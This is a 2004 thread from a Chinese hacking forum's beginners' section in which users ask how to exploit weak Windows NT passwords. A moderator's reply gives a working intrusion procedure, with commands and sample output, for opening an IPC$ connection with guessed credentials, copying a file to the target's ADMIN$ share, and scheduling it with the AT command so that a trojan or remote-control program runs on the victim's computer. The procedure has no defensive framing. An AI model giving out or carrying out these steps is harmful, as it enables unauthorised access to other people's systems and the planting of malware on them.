20CN网络安全小组论坛 - 菜鸟乐园 - 关于NT-Server弱口令的问题？

论坛: 菜鸟乐园标题: 关于NT-Server弱口令的问题？

复制本贴地址

作者: qq7758520 [qq7758520]

论坛用户

请问NT-Server弱口令怎么利用，有那位大虾解释一下！

地主发表时间: 04-04-07 23:26

回复: lijingxi [lijingxi]

见习版主

首先你要查看一下对方的计算机是什么版本的要是服务器版本的就查看一下有没有开放3389端口,如果开放,用终端连接就好了, 要是没有开放你就要查看对方是不是开放139或者445端口,如果开放你直接用NET命令和对方建立空连接!格式如下:
net use \\IP "密码" /user:用户名
如果显示命令成功,你就可以给对方COPY文件了.命令格式如下:
COPY 文件名.扩展名 \\IP\共享名称
一般的计算机默认共享是:
c$ ipc$ admin$
例如:
COPY 文件名.扩展名 \\IP\ADMIN$
这样就可以把文件拷贝到对方的计算机系统盘的WINNT文件夹下面.
如果出现决绝访问可能是你的权限不够,
如果出现:
找不到网络路径。
已复制 0 个文件。
这是对方没有共享,
如果拷贝文件成功,你可以查看对方的计算机时间,定时让对方的计算机运行你拷贝的程序,格式如下:
net time \\IP
如果出现:
\\IP 的当前时间是 2004/4/8 下午 12:48

命令成功完成。
表示成功,然后就是用AT命令来定时让对方的计算机运行你拷贝过去的文件!命令格式如下:
AT \\IP 时间文件名.扩展名
如果显示如下:
新加了一项作业，其作业 ID = 1
表示成功.
好了，剩下的我想你应该知道怎么做了吧!
注意:在AT命令里面写时间尽量使用24小时制,写时间要不查看到的时间提前1到2分钟,这样过1到2分钟,你指定的程序就会在对方的计算机上运行!如果是木马或者远程控制程序,你过2分钟就可以远程连接了! 哦对了,查看对方计算机共享的命令是net view \\ip 查看远程计算机共享资源，前提是建立了空连接后，不显示默认共享。

B1层发表时间: 04-04-08 13:03

回复: wangsong [wangsong]

论坛用户

楼上说的不错

B2层发表时间: 04-04-08 19:12

回复: qq7758520 [qq7758520]

论坛用户

你的意思是不是说 NT弱口令只能用IPC进行连接吗？

有没有什么别的用法？
我试过用3389登陆，但是没有成功。

B3层发表时间: 04-04-09 21:33

回复: chen619 [chen619]

论坛用户

只要对方开了3389,就可以用那个NT弱口令连接~~是不是~~?

B4层发表时间: 04-04-09 22:40

论坛: 菜鸟乐园